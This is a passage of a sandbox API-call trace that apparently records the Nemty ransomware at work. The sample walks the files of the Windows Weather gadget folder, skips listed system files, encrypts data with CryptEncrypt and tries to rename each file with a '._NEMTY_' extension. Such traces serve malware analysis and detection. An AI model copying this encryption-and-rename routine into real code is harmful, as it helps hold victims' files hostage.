out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.024] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x274e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_cloudy.png", cAlternateFileName="")) returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2=".") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="..") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="...") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="windows") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="rsa") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="NTDETECT.COM") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="ntldr") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="MSDOS.SYS") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="IO.SYS") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="boot.ini") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="boot.ini") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="ntuser.dat") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="desktop.ini") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="CONFIG.SYS") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="RECYCLER") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="bootmgr") returned 1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="programdata") returned -1 [0160.024] lstrcmpiW (lpString1="docked_black_cloudy.png", lpString2="appdata") returned 1 [0160.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0160.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 23 [0160.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0160.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0160.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 23 [0160.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0160.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0160.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 23 [0160.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0160.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_cloudy.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_cloudy.png", lpUsedDefaultChar=0x0) returned 23 [0160.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0160.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0160.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0160.025] Sleep (dwMilliseconds=0x5) [0160.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13097ed0, dwHighDateTime=0x1d561e8)) [0160.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x13097ed0, dwHighDateTime=0x1d561e8)) [0160.038] GetLastError () returned 0x5 [0160.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.038] GetLastError () returned 0x5 [0160.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.039] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0160.039] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="lHkeZlMc7dhE4MKMSeR8+rHCEgNrgWDdKnv6X4dcFUNLpzZFmvBEWlADz7vJYxom\r\n23MHIIw+hYpbfw8luD5T3ytvre0BM7XIwWJ7mIJKldANL9JSwajzQkR0XDEP+VGV\r\nG2qyXcd45cBnueln7To6jCo++0776tXRQN/RyPdNEN8GhZOBF0ktO9SjH+APmlM9\r\nO3AuDZ0NMYhHYKnYCCHB6wPazfMVyh2H6Q+AjmyvOp/mlIMiRG09tRkxQ9CRYCSC\r\nnxZqEZPalXGzbUkeFoywDJiNZJ/Z23dmEzrwAtheSk1nXHUzaft2h1KuJl3ZPyzj\r\niMndPrLCERaRrQlOchKppQ==\r\n", pcchString=0x653e91c) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0160.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.039] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.046] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.155] CloseHandle (hObject=0xffffffff) returned 0 [0160.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0160.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0160.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_cloudy.png._nemty_kgobjgd_")) returned 0 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.156] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2685, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_few-showers.png", cAlternateFileName="")) returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2=".") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="..") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="...") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="windows") returned -1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="$RECYCLE.BIN") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="rsa") returned -1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="NTDETECT.COM") returned -1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="ntldr") returned -1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="MSDOS.SYS") returned -1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="IO.SYS") returned -1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="boot.ini") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="boot.ini") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.156] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="ntuser.dat") returned -1 [0160.156] lstrcmpiW 